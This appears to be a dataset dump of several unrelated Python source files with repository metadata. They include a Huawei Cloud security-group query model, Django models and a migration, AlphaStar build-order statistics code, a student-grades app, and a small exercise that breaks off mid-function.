按照安全组规则的IP协议过滤查询结果
:param protocol: The protocol of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._protocol = protocol
@property
def ethertype(self):
"""Gets the ethertype of this NeutronListSecurityGroupRulesRequest.
按照网络类型过滤查询结果,支持IPv4或者IPv6
:return: The ethertype of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._ethertype
@ethertype.setter
def ethertype(self, ethertype):
"""Sets the ethertype of this NeutronListSecurityGroupRulesRequest.
按照网络类型过滤查询结果,支持IPv4或者IPv6
:param ethertype: The ethertype of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._ethertype = ethertype
@property
def description(self):
"""Gets the description of this NeutronListSecurityGroupRulesRequest.
按照安全组规则的描述过滤查询结果
:return: The description of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._description
@description.setter
def description(self, description):
"""Sets the description of this NeutronListSecurityGroupRulesRequest.
按照安全组规则的描述过滤查询结果
:param description: The description of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._description = description
@property
def remote_ip_prefix(self):
"""Gets the remote_ip_prefix of this NeutronListSecurityGroupRulesRequest.
按照与此安全组规则匹配的远端IP网段过滤查询结果
:return: The remote_ip_prefix of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._remote_ip_prefix
@remote_ip_prefix.setter
def remote_ip_prefix(self, remote_ip_prefix):
"""Sets the remote_ip_prefix of this NeutronListSecurityGroupRulesRequest.
按照与此安全组规则匹配的远端IP网段过滤查询结果
:param remote_ip_prefix: The remote_ip_prefix of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._remote_ip_prefix = remote_ip_prefix
@property
def remote_group_id(self):
"""Gets the remote_group_id of this NeutronListSecurityGroupRulesRequest.
按照与此安全组规则关联的远端安全组ID过滤查询结果
:return: The remote_group_id of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._remote_group_id
@remote_group_id.setter
def remote_group_id(self, remote_group_id):
"""Sets the remote_group_id of this NeutronListSecurityGroupRulesRequest.
按照与此安全组规则关联的远端安全组ID过滤查询结果
:param remote_group_id: The remote_group_id of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._remote_group_id = remote_group_id
@property
def security_group_id(self):
"""Gets the security_group_id of this NeutronListSecurityGroupRulesRequest.
按照与此安全组规则所属的安全组ID过滤查询结果
:return: The security_group_id of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._security_group_id
@security_group_id.setter
def security_group_id(self, security_group_id):
"""Sets the security_group_id of this NeutronListSecurityGroupRulesRequest.
按照与此安全组规则所属的安全组ID过滤查询结果
:param security_group_id: The security_group_id of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._security_group_id = security_group_id
@property
def port_range_max(self):
"""Gets the port_range_max of this NeutronListSecurityGroupRulesRequest.
按照最大端口过滤查询结果
:return: The port_range_max of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._port_range_max
@port_range_max.setter
def port_range_max(self, port_range_max):
"""Sets the port_range_max of this NeutronListSecurityGroupRulesRequest.
按照最大端口过滤查询结果
:param port_range_max: The port_range_max of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._port_range_max = port_range_max
@property
def port_range_min(self):
"""Gets the port_range_min of this NeutronListSecurityGroupRulesRequest.
按照最小端口过滤查询结果
:return: The port_range_min of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._port_range_min
@port_range_min.setter
def port_range_min(self, port_range_min):
"""Sets the port_range_min of this NeutronListSecurityGroupRulesRequest.
按照最小端口过滤查询结果
:param port_range_min: The port_range_min of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._port_range_min = port_range_min
@property
def tenant_id(self):
"""Gets the tenant_id of this NeutronListSecurityGroupRulesRequest.
按照安全组规则所属的项目ID过滤查询结果
:return: The tenant_id of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._tenant_id
@tenant_id.setter
def tenant_id(self, tenant_id):
"""Sets the tenant_id of this NeutronListSecurityGroupRulesRequest.
按照安全组规则所属的项目ID过滤查询结果
:param tenant_id: The tenant_id of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._tenant_id = tenant_id
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
if attr in self.sensitive_list:
result[attr] = "****"
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, NeutronListSecurityGroupRulesRequest):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"hwcloudsdk@huawei.com"
] | hwcloudsdk@huawei.com |
7f5a4fc0ed1fefe04e9275015cc32f1b1f2c2e50 | 1cfc2e726cf5efccae42fe292dd0b6570705c524 | /Python/Application2/main.py | 21889393d04dd31419a302a47f6c75b30e2ed43c | [] | no_license | PatiVioleta/PythonApplication | 3007d096d0af23a380c0e862f965109e5484c57d | 983a0c1ce4f8b8df975be2c7960fd97325de77b7 | refs/heads/master | 2020-04-28T15:05:12.838831 | 2019-03-13T06:25:29 | 2019-03-13T06:25:29 | 175,359,445 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,955 | py | '''
Created on Nov 12, 2017
@author: PATI
'''
from repository.repositoryStudent import inMemoryRepository
from repository.repositoryMaterie import inMemoryRepositoryD
from repository.repositoryNota import inMemoryRepositoryN
from repository.repositoryMaterie2 import disciplinaFileRepository
from repository.repositoryNota2 import notaFileRepository
from repository.repositoryStudent2 import studentFileRepository
from service.studentController import StudentController
from service.materieController import DisciplinaController
from service.notaController import NotaController
from service.statisticiController import StatisticiController
from teste.testeStudent import testeStudent
from teste.testeMaterie import testeDisciplina
from teste.testeNota import testeNota
from teste.testeStatistici import testeStatistici
from ui.console import Console
testS=testeStudent()
testS.run()
testD=testeDisciplina()
testD.run()
testN=testeNota()
testN.run()
testSS=testeStatistici()
testSS.run()
#repo = inMemoryRepository() #repo un obiect de tipul inMemoryRepository (lista de studenti)
repo=studentFileRepository()
#repoD= inMemoryRepositoryD() #repoD un obiect de tipul inMemoryRepositoryD (lista de discipline)
repoD=disciplinaFileRepository()
#repoN= inMemoryRepositoryN() #repoN un obiect de tipul inMemoryRepositoryN (lista de note)
repoN=notaFileRepository()
cond=2
ctrl = StudentController(repo) #ctrl un obiect de tipul StudentController
ctrlD= DisciplinaController(repoD) #ctrlD un obiect de tipul DisciplinaController
ctrlN= NotaController(repoN) #ctrlN un obiect de tipul NotaController
ctrlS= StatisticiController(repo,repoD,repoN,ctrl,ctrlD,ctrlN) #ctrlS un obiect de tipul StatisticiController
console = Console(ctrl,ctrlD,ctrlN,ctrlS) #console= obiectul de tip Console
console.run(cond) #rulam consola
| [
"48491987+PatiVioleta@users.noreply.github.com"
] | 48491987+PatiVioleta@users.noreply.github.com |
69e57198777982b5a461544089472acaae42c23c | 9ca67006b6acce29177eac92d85276a4e78c2850 | /movies/models.py | 0a90621849a9688f0a664b1aa86abb62cbb2a870 | [] | no_license | 0hhanum/aws-django-test | 7768eec543d5929bb2688e47820229c0d29206dd | 6fb174ef85c5f58a6271b43345612e3451122671 | refs/heads/master | 2023-04-05T20:49:18.922987 | 2021-05-10T08:26:23 | 2021-05-10T08:26:23 | 365,737,812 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 796 | py | from django.urls import reverse
from django.db import models
from core.models import CoreModel
class Movie(CoreModel):
""" Movie Model """
title = models.CharField(max_length=120)
year = models.IntegerField()
cover_image = models.ImageField(null=True, blank=True)
rating = models.IntegerField()
category = models.ForeignKey("categories.Category", on_delete=models.CASCADE, related_name="movies")
director = models.ForeignKey("people.Person", on_delete=models.CASCADE, related_name="movies")
cast = models.ManyToManyField("people.Person")
def __str__(self):
return self.title
def get_absolute_url(self):
return reverse("movies:movie", kwargs={"pk": self.pk})
class Meta:
ordering = ["-created_at"]
def get_reviews(self):
return self.reviews.all()
| [
"rntls123@naver.com"
] | rntls123@naver.com |
fa108bd7530e8565ffc888194f3b2bc13e59a4a5 | b56eaf7a603cbb850be11dbbed2c33b954dedbcb | /distar/envs/other/alphastar_statistics.py | f2c414f241ad9e9546fba1cdbf7a88c0f1c3aa70 | [
"Apache-2.0"
] | permissive | LFhase/DI-star | 2887d9c5dd8bfaa629e0171504b05ac70fdc356f | 09d507c412235a2f0cf9c0b3485ec9ed15fb6421 | refs/heads/main | 2023-06-20T20:05:01.378611 | 2021-07-09T16:26:18 | 2021-07-09T16:26:18 | 384,499,311 | 1 | 0 | Apache-2.0 | 2021-07-09T16:50:29 | 2021-07-09T16:50:28 | null | UTF-8 | Python | false | false | 20,962 | py | import copy
import os
import logging
import numpy as np
import torch
from ctools.pysc2.lib.action_dict import GENERAL_ACTION_INFO_MASK
from ctools.pysc2.lib.static_data import NUM_BEGIN_ACTIONS, NUM_UNIT_BUILD_ACTIONS, NUM_EFFECT_ACTIONS, NUM_RESEARCH_ACTIONS, \
UNIT_BUILD_ACTIONS_REORDER_ARRAY, EFFECT_ACTIONS_REORDER_ARRAY, RESEARCH_ACTIONS_REORDER_ARRAY, \
BEGIN_ACTIONS_REORDER_ARRAY, BEGIN_ACTIONS, \
OLD_BEGIN_ACTIONS_REORDER_INV
from ctools.envs.common import reorder_one_hot_array, batch_binary_encode, div_one_hot
from ..obs.alphastar_obs import LOCATION_BIT_NUM
from ctools.torch_utils import to_dtype, one_hot
def binary_search(data, item):
if len(data) <= 0:
raise RuntimeError("empty data with len: {}".format(len(data)))
low = 0
high = len(data) - 1
while low <= high:
mid = (high + low) // 2
if data[mid] == item:
return mid
elif data[mid] < item:
low = mid + 1
else:
high = mid - 1
if low == len(data):
low -= 1 # limit low within [0, len(data)-1]
return low
class RealTimeStatistics:
"""
Overview: real time agent statistics
"""
def __init__(self, begin_num=20):
self.action_statistics = {}
self.cumulative_statistics = {}
self.cumulative_statistics_game_loop = []
self.begin_statistics = []
self.begin_num = begin_num
def update_action_stat(self, act, obs):
# this will not clear the cache
def get_unit_types(units, entity_type_dict):
unit_types = set()
for u in units:
try:
unit_type = entity_type_dict[u]
unit_types.add(unit_type)
except KeyError:
logging.warning("Not found unit(id: {})".format(u))
return unit_types
action_type = act.action_type
if action_type not in self.action_statistics.keys():
self.action_statistics[action_type] = {
'count': 0,
'selected_type': set(),
'target_type': set(),
}
self.action_statistics[action_type]['count'] += 1
entity_type_dict = {id: type for id, type in zip(obs['entity_raw']['id'], obs['entity_raw']['type'])}
if act.selected_units is not None:
units = act.selected_units
unit_types = get_unit_types(units, entity_type_dict)
self.action_statistics[action_type]['selected_type'] = \
self.action_statistics[action_type]['selected_type'].union(unit_types)
if act.target_units is not None:
units = act.target_units
unit_types = get_unit_types(units, entity_type_dict)
self.action_statistics[action_type]['target_type'] = self.action_statistics[action_type][
'target_type'].union(unit_types)
def update_cum_stat(self, act, game_loop):
# this will not clear the cache
action_type = act.action_type
goal = GENERAL_ACTION_INFO_MASK[action_type]['goal']
if goal != 'other':
if action_type not in self.cumulative_statistics.keys():
self.cumulative_statistics[action_type] = {'count': 1, 'goal': goal}
else:
self.cumulative_statistics[action_type]['count'] += 1
loop_stat = copy.deepcopy(self.cumulative_statistics)
loop_stat['game_loop'] = game_loop
self.cumulative_statistics_game_loop.append(loop_stat)
def update_build_order_stat(self, act, game_loop, original_location):
# this will not clear the cache
worker_and_supply_units = (35, 64, 520, 222, 515, 503)
action_type = act.action_type
if action_type in worker_and_supply_units: # exclude worker and supply
return
goal = GENERAL_ACTION_INFO_MASK[action_type]['goal']
if action_type in BEGIN_ACTIONS:
if goal == 'build':
if original_location is not None:
location = original_location
else:
location = act.target_location
if isinstance(location, torch.Tensor): # for build ves, no target_location
location = location.tolist()
else:
location = None
self.begin_statistics.append({'action_type': action_type, 'location': location, 'game_loop': game_loop})
def update_stat(self, act, obs, game_loop, original_location=None):
"""
Update action_stat cum_stat and build_order_stat
Args:
act: Processed general action
obs: observation
game_loop: current game loop
"""
if obs is not None:
self.update_action_stat(act, obs)
self.update_cum_stat(act, game_loop)
self.update_build_order_stat(act, game_loop, original_location)
def get_reward_z(self, use_max_bo_clip):
"""
use_max_bo_clip (boolean): Whether to keep only the building orders of the first self.begin_num units.
"""
beginning_build_order = self.begin_statistics
if use_max_bo_clip and len(beginning_build_order) > self.begin_num:
beginning_build_order = beginning_build_order[:self.begin_num+1]
cumulative_stat = self.cumulative_statistics
cum_stat_tensor = transform_cum_stat(cumulative_stat)
ret = {
'built_unit': cum_stat_tensor['unit_build'],
'effect': cum_stat_tensor['effect'],
'upgrade': cum_stat_tensor['research'],
'build_order': transform_build_order_to_z_format(beginning_build_order),
}
ret = to_dtype(ret, torch.long)
return ret
def get_input_z(self, bo_length=20):
ret = {
'beginning_build_order': transform_build_order_to_input_format(self.begin_statistics, bo_length),
'cumulative_stat': transform_cum_stat(self.cumulative_statistics)
}
return ret
def get_stat(self):
ret = {'begin_statistics': self.begin_statistics, 'cumulative_statistics': self.cumulative_statistics}
return ret
def get_norm_units_num(self):
worker_and_supply_units = (35, 64, 520, 222, 515, 503)
zerg_units = (498, 501, 507, 508, 514, 516, 519, 522, 524, 526, 528, 383, 396, 391, 400)
units_num = {GENERAL_ACTION_INFO_MASK[k]['name'].split('_')[1]: 0 for k in zerg_units}
max_num = 1
for k in self.cumulative_statistics.keys():
if k not in worker_and_supply_units and k in zerg_units \
and self.cumulative_statistics[k]['goal'] == 'unit':
unit_name = GENERAL_ACTION_INFO_MASK[k]['name'].split('_')[1]
units_num[unit_name] = self.cumulative_statistics[k]['count']
max_num = max(self.cumulative_statistics[k]['count'], max_num)
for k in units_num.keys():
units_num[k] /= (1.0 * max_num)
return units_num
class GameLoopStatistics:
"""
Overview: Human replay data statistics specified by game loop
"""
def __init__(self, stat, begin_num=20):
self.ori_stat = stat
self.ori_stat = self.add_game_loop(self.ori_stat)
self.begin_num = begin_num
self.mmr = 6200
self._clip_global_bo()
self.cache_reward_z = None
self.cache_input_z = None
self.max_game_loop = self.ori_stat['cumulative_stat'][-1]['game_loop']
self._init_global_z()
def add_game_loop(self, stat):
beginning_build_order = stat['beginning_build_order']
cumulative_stat = stat['cumulative_stat']
if 'game_loop' in beginning_build_order[0].keys():
return stat
def is_action_frame(action_type, cum_idx):
# for start case
if cum_idx == 0:
return action_type in cumulative_stat[cum_idx].keys()
last_frame = cumulative_stat[cum_idx - 1]
cur_frame = cumulative_stat[cum_idx]
miss_key = cur_frame.keys() - last_frame.keys()
diff_count_key = set()
for k in last_frame.keys():
if k != 'game_loop' and cur_frame[k]['count'] != last_frame[k]['count']:
diff_count_key.add(k)
diff_key = miss_key.union(diff_count_key)
return action_type in diff_key
cum_idx = 0
new_beginning_build_order = []
for i in range(len(beginning_build_order)):
item = beginning_build_order[i]
action_type = item['action_type']
while cum_idx < len(cumulative_stat) and not is_action_frame(action_type, cum_idx):
cum_idx += 1
if cum_idx < len(cumulative_stat):
item.update({'game_loop': cumulative_stat[cum_idx]['game_loop']})
new_beginning_build_order.append(item)
cum_idx += 1
new_stat = stat
new_stat['beginning_build_order'] = new_beginning_build_order
new_stat['begin_game_loop'] = [t['game_loop'] for t in new_beginning_build_order]
new_stat['cum_game_loop'] = [t['game_loop'] for t in new_stat['cumulative_stat']]
return new_stat
def _clip_global_bo(self):
beginning_build_order = copy.deepcopy(self.ori_stat['beginning_build_order'])
if len(beginning_build_order) < self.begin_num:
# the input_global_bo will be padded up to begin_num when transformed into input format
self.input_global_bo = beginning_build_order
self.reward_global_bo = beginning_build_order
else:
beginning_build_order = beginning_build_order[:self.begin_num]
self.input_global_bo = beginning_build_order
self.reward_global_bo = beginning_build_order
def _init_global_z(self):
# init input_global_z
beginning_build_order, cumulative_stat = self.input_global_bo, self.ori_stat['cumulative_stat'][-1]
self.input_global_z = transformed_stat_mmr(
{
'begin_statistics': beginning_build_order,
'cumulative_statistics': cumulative_stat
}, self.mmr, self.begin_num
)
# init reward_global_z
beginning_build_order, cumulative_stat = self.reward_global_bo, self.ori_stat['cumulative_stat'][-1]
cum_stat_tensor = transform_cum_stat(cumulative_stat)
self.reward_global_z = {
'built_unit': cum_stat_tensor['unit_build'],
'effect': cum_stat_tensor['effect'],
'upgrade': cum_stat_tensor['research'],
'build_order': transform_build_order_to_z_format(beginning_build_order),
}
self.reward_global_z = to_dtype(self.reward_global_z, torch.long)
def get_input_z_by_game_loop(self, game_loop, cumulative_stat=None):
"""
Note: if game_loop is None, load global stat
"""
if cumulative_stat is None:
if game_loop is None:
return self.input_global_z
else:
_, cumulative_stat = self._get_stat_by_game_loop(game_loop)
beginning_build_order = self.input_global_bo
ret = transformed_stat_mmr(
{
'begin_statistics': beginning_build_order,
'cumulative_statistics': cumulative_stat
}, self.mmr, self.begin_num
)
return ret
def get_reward_z_by_game_loop(self, game_loop, build_order_length=None):
"""
Note: if game_loop is None, load global stat
"""
if game_loop is None:
global_z = copy.deepcopy(self.reward_global_z)
global_z['build_order']['type'] = global_z['build_order']['type'][:build_order_length]
global_z['build_order']['loc'] = global_z['build_order']['loc'][:build_order_length]
return global_z
else:
beginning_build_order, cumulative_stat = self._get_stat_by_game_loop(game_loop)
cum_stat_tensor = transform_cum_stat(cumulative_stat)
ret = {
'built_unit': cum_stat_tensor['unit_build'],
'effect': cum_stat_tensor['effect'],
'upgrade': cum_stat_tensor['research'],
'build_order': transform_build_order_to_z_format(beginning_build_order),
}
ret = to_dtype(ret, torch.long)
return ret
def _get_stat_by_game_loop(self, game_loop):
begin_idx = binary_search(self.ori_stat['begin_game_loop'], game_loop)
cum_idx = binary_search(self.ori_stat['cum_game_loop'], game_loop)
return self.ori_stat['beginning_build_order'][:begin_idx + 1], self.ori_stat['cumulative_stat'][cum_idx]
def excess_max_game_loop(self, agent_game_loop):
return agent_game_loop > self.max_game_loop
def transform_build_order_to_z_format(stat):
"""
Overview: transform beginning_build_order to the format to calculate reward
stat: list->element: dict('action_type': int, 'location': list(len=2)->element: int)
"""
ret = {'type': np.zeros(len(stat), dtype=np.int), 'loc': np.empty((len(stat), 2), dtype=np.int)}
zeroxy = np.array([0, 0], dtype=np.int)
for n in range(len(stat)):
action_type, location = stat[n]['action_type'], stat[n]['location']
ret['type'][n] = action_type
ret['loc'][n] = location if isinstance(location, list) else zeroxy
ret['type'] = torch.Tensor(ret['type'])
ret['loc'] = torch.Tensor(ret['loc'])
return ret
def transform_build_order_to_input_format(stat, begin_num, location_num=LOCATION_BIT_NUM):
"""
Overview: transform beginning_build_order to the format for input
stat: list->element: dict('action_type': int, 'location': list(len=2)->element: int)
"""
beginning_build_order_tensor = []
for item in stat:
action_type, location = item['action_type'], item['location']
if action_type == 0:
action_type = torch.zeros(NUM_BEGIN_ACTIONS)
else:
action_type = torch.LongTensor([action_type])
action_type = reorder_one_hot_array(action_type, BEGIN_ACTIONS_REORDER_ARRAY, num=NUM_BEGIN_ACTIONS)
if isinstance(location, list):
x = batch_binary_encode(torch.LongTensor([location[0]]), bit_num=location_num)[0]
y = batch_binary_encode(torch.LongTensor([location[1]]), bit_num=location_num)[0]
location = torch.cat([x, y], dim=0)
else:
location = torch.zeros(location_num * 2)
beginning_build_order_tensor.append(torch.cat([action_type.squeeze(0), location], dim=0))
if len(stat):
beginning_build_order_tensor = torch.stack(beginning_build_order_tensor, dim=0)
else:
return torch.zeros(begin_num, 194)
# pad
if beginning_build_order_tensor.shape[0] < begin_num:
miss_num = begin_num - beginning_build_order_tensor.shape[0]
pad_part = torch.zeros(miss_num, beginning_build_order_tensor.shape[1])
beginning_build_order_tensor = torch.cat([beginning_build_order_tensor, pad_part], dim=0)
return beginning_build_order_tensor[:begin_num]
def transform_cum_stat(cumulative_stat):
"""
Overview: transform cumulative_stat to the format for both input and reward
cumulative_stat: dict('action_type': {'goal': str, count: int})
"""
cumulative_stat_tensor = {
'unit_build': torch.zeros(NUM_UNIT_BUILD_ACTIONS),
'effect': torch.zeros(NUM_EFFECT_ACTIONS),
'research': torch.zeros(NUM_RESEARCH_ACTIONS)
}
for k, v in cumulative_stat.items():
if k == 'game_loop':
continue
if v['goal'] in ['unit', 'build']:
cumulative_stat_tensor['unit_build'][UNIT_BUILD_ACTIONS_REORDER_ARRAY[k]] = 1
elif v['goal'] in ['effect']:
cumulative_stat_tensor['effect'][EFFECT_ACTIONS_REORDER_ARRAY[k]] = 1
elif v['goal'] in ['research']:
cumulative_stat_tensor['research'][RESEARCH_ACTIONS_REORDER_ARRAY[k]] = 1
return cumulative_stat_tensor
def transform_stat(stat, meta, begin_num):
mmr = meta['home_mmr']
return transformed_stat_mmr(stat, mmr, begin_num)
def transformed_stat_mmr(stat, mmr, begin_num):
"""
Overview: transform replay metadata and statdata to input stat(mmr + z)
"""
beginning_build_order = stat['begin_statistics']
beginning_build_order_tensor = transform_build_order_to_input_format(beginning_build_order, begin_num)
cumulative_stat_tensor = transform_cum_stat(stat['cumulative_statistics'])
mmr = torch.LongTensor([mmr])
mmr = div_one_hot(mmr, 6000, 1000).squeeze(0)
return {
'mmr': mmr,
'beginning_build_order': beginning_build_order_tensor,
'cumulative_stat': cumulative_stat_tensor
}
def transform_stat_processed(old_stat_processed):
"""
Overview: transform new begin action(for stat_processed)
"""
new_stat_processed = copy.deepcopy(old_stat_processed)
beginning_build_order = new_stat_processed['beginning_build_order']
new_beginning_build_order = []
location_dim = 2 * LOCATION_BIT_NUM
for item in beginning_build_order:
action_type, location = item[:-location_dim], item[-location_dim:]
action_type = torch.nonzero(action_type).item()
action_type = OLD_BEGIN_ACTIONS_REORDER_INV[action_type]
if action_type not in BEGIN_ACTIONS:
continue
action_type = BEGIN_ACTIONS_REORDER_ARRAY[action_type]
action_type = torch.LongTensor([action_type])
action_type = one_hot(action_type, NUM_BEGIN_ACTIONS)[0]
new_item = torch.cat([action_type, location], dim=0)
new_beginning_build_order.append(new_item)
new_stat_processed['beginning_build_order'] = torch.stack(new_beginning_build_order, dim=0)
return new_stat_processed
def transform_stat_professional_player(old_stat):
new_stat = copy.deepcopy(old_stat)
beginning_build_order = new_stat['beginning_build_order']
new_beginning_build_order = []
for item in beginning_build_order:
if item['action_type'] in BEGIN_ACTIONS:
new_beginning_build_order.append(item)
new_stat['beginning_build_order'] = new_beginning_build_order
return new_stat
class StatKey:
def __init__(self, home_race=None, away_race=None, map_name=None, player_id=None):
self.home_race = home_race
self.away_race = away_race
self.map_name = map_name
self.player_id = player_id
@classmethod
def check_path(cls, item):
"""
Overview: check stat path name format
Note:
format template: homerace_awayrace_mapname_playerid_id
"""
race_list = ['zerg', 'terran', 'protoss']
map_list = ['KingsCove', 'KairosJunction', 'NewRepugnancy', 'CyberForest']
try:
item_contents = item.split('_')
assert len(item_contents) == 5
assert item_contents[0] in race_list
assert item_contents[1] in race_list
assert item_contents[2] in map_list
assert item_contents[3] in ['1', '2']
except Exception as e:
print(item_contents)
return False
return True
@classmethod
def path2key(cls, path):
items = path.split('_')[:4]
return StatKey(*items)
def match(self, other):
assert isinstance(other, StatKey)
for k, v in self.__dict__.items():
if v is not None:
if other.__dict__[k] != v:
return False
return True
def __repr__(self):
return 'h_race: {}\ta_race: {}\tmap: {}\tid: {}'.format(
self.home_race, self.away_race, self.map_name, self.player_id
)
class StatManager:
def __init__(self, dirname, stat_path_list):
with open(stat_path_list, 'r') as f:
data = f.readlines()
data = [t.strip() for t in data]
self.stat_paths = [item for item in data if StatKey.check_path(item)]
self.stat_keys = [StatKey.path2key(t) for t in self.stat_paths]
self.dirname = dirname
def get_ava_stats(self, **kwargs):
assert kwargs['player_id'] == 'ava'
# select matched results
stats = []
for player_id in ['1', '2']:
kwargs['player_id'] = player_id
query = StatKey(**kwargs)
matched_results_idx = [idx for idx, t in enumerate(self.stat_keys) if query.match(t)]
if len(matched_results_idx) == 0:
raise RuntimeError("no matched stat, input kwargs are: {}".format(kwargs))
# random sample
selected_idx = np.random.choice(matched_results_idx)
stat_path = self.stat_paths[selected_idx]
stats.append(stat_path)
stats = [os.path.join(self.dirname, s) for s in stats]
return stats
| [
"opendilab@gmail.com"
] | opendilab@gmail.com |
164e025c757cbef908707f5219e2c665aaa5261b | be84495751737bbf0a8b7d8db2fb737cbd9c297c | /sdl/tests/sdl/rnd_test.py | bd5ccfdfe9baac2abbb86c6b90739265c39087ae | [] | no_license | mario007/renmas | 5e38ff66cffb27b3edc59e95b7cf88906ccc03c9 | bfb4e1defc88eb514e58bdff7082d722fc885e64 | refs/heads/master | 2021-01-10T21:29:35.019792 | 2014-08-17T19:11:51 | 2014-08-17T19:11:51 | 1,688,798 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 724 | py |
import unittest
from tdasm import Runtime
from sdl.vector import Vector2, Vector3, Vector4
from sdl.shader import Shader
from sdl.args import IntArg, FloatArg, Vec2Arg, Vec3Arg, Vec4Arg
code = """
p1 = rand_int()
p2 = random()
p3 = random2()
p4 = random3()
p5 = random4()
"""
p1 = IntArg('p1', 333)
p2 = FloatArg('p2', 333.0)
p3 = Vec2Arg('p3', Vector2(0.0, 0.0))
p4 = Vec3Arg('p4', Vector3(0.0, 0.0, 0.0))
p5 = Vec4Arg('p5', Vector4(0.0, 0.0, 0.0, 0.0))
shader = Shader(code=code, args=[p1, p2, p3, p4, p5])
shader.compile()
shader.prepare([Runtime()])
shader.execute()
print(shader.get_value('p1'))
print(shader.get_value('p2'))
print(shader.get_value('p3'))
print(shader.get_value('p4'))
print(shader.get_value('p5'))
| [
"mvidov@yahoo.com"
] | mvidov@yahoo.com |
fed845857259de02555dffb668df2ec6e074306e | a168a9af6ab99cdee546ccfa7c7a0cc2ad16b20e | /Programmers/Level1/strange_sort(jpt)/strange_sort.py | d83f21cc4047d4829dc2d9ee563ea357790cf4cb | [] | no_license | BakJungHwan/Exer_algorithm | e6a0d2281d5901893566bc18cb5cf8c06b4f703b | aca66fc9b1e16677cd5772e6c8b76cf32d2a5664 | refs/heads/master | 2021-09-10T09:11:47.662041 | 2018-01-31T02:06:44 | 2018-01-31T02:06:44 | 114,535,444 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 168 | py | def strange_sort(strings, n):
def helper(str_ele):
return str_ele[n];
return sorted(strings,key=helper)
print( strange_sort(["sun", "bed", "car"], 1) ) | [
"Ace.DataSC.Bak@gmail.com"
] | Ace.DataSC.Bak@gmail.com |
741baa3c2159776bce0691d2b37c1db0a5367f42 | 481ccd9a3589e83593c46a64d03e657c6457d0f0 | /function_keys.py | 23ea001ea6708ece3256473b07d73f296c65226e | [] | no_license | izikandrw/codebyvoice | e9deca5ec166015b9aaff07b8ea9610f68107ed1 | b8384b56b00e39aa50713fea26c82f764898ac32 | refs/heads/master | 2021-01-20T12:58:32.777642 | 2018-05-01T03:23:50 | 2018-05-01T03:23:50 | 90,434,126 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 256 | py | map = {
'F one': 'f1',
'F two': 'f2',
'F three': 'f3',
'F four': 'f4',
'F five': 'f5',
'F six': 'f6',
'F seven': 'f7',
'F eight': 'f8',
'F nine': 'f9',
'F ten': 'f10',
'F eleven': 'f11',
'F twelve': 'f12',
}
| [
"isaac.stennett@gmail.com"
] | isaac.stennett@gmail.com |
1aaa54ad05b3cb3d5181af19c6399f9c7a1ad31f | 48cd2164e9e071916c5888b25b7a9a3f74ab051d | /nba_analysis/stats/migrations/0007_auto_20150722_1700.py | 3be3b7ee02b30af0213694bfdf7feb1824c3dd66 | [] | no_license | Sandy4321/django_nba_stats | 02f46d4b8d76390ebac9d39d381c0509eb13928b | c64ddd77303db32a5693e84c969f9e2562b5b428 | refs/heads/master | 2020-12-03T10:27:03.630464 | 2015-10-16T01:45:37 | 2015-10-16T01:45:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 415 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('stats', '0006_player2015averagestat'),
]
operations = [
migrations.AlterModelOptions(
name='player2015averagestat',
options={'ordering': ['pts', 'last_name'], 'managed': False},
),
]
| [
"fredthekid@gmail.com"
] | fredthekid@gmail.com |
75a863a592f82faf0099f420daadea5edbe253db | 074655fbb70dc7dad1807597efa267abb0fb3500 | /desafios/desafio-106.py | a3efcfa39014af63e7cdc60e9f066c83e8da1fb4 | [] | no_license | rodrigojgrande/python-mundo | bfa57ff12c537084aeeb5469451e13e74c6fb9f1 | d482c84d5c6ae8cfec79317b85390e17ede17f58 | refs/heads/master | 2023-04-23T08:22:45.251817 | 2021-05-19T13:08:21 | 2021-05-19T13:08:21 | 351,783,397 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,157 | py | #Exercício Python 106: Faça um mini-sistema que utilize o Interactive Help do Python. O usuário vai digitar o comando e o manual vai aparecer. Quando o usuário digitar a palavra ‘FIM’, o programa se encerrará. Importante: use cores.
from time import sleep
cor = ('\033[m', # 0 - sem cores
'\033[0;30;41m', # 1 - vermelho
'\033[0;30;42m', # 2 - verde
'\033[0;30;43m', # 3 - amarelo
'\033[0;30;44m', # 4 - azul
'\033[0;30;45m', # 5 - roxo
'\033[7;30m' # 6 - branco
);
def ajuda(comando):
titulo(f'Acessando o manual do comando \'{comando}\'', 4)
print(cor[6], end='')
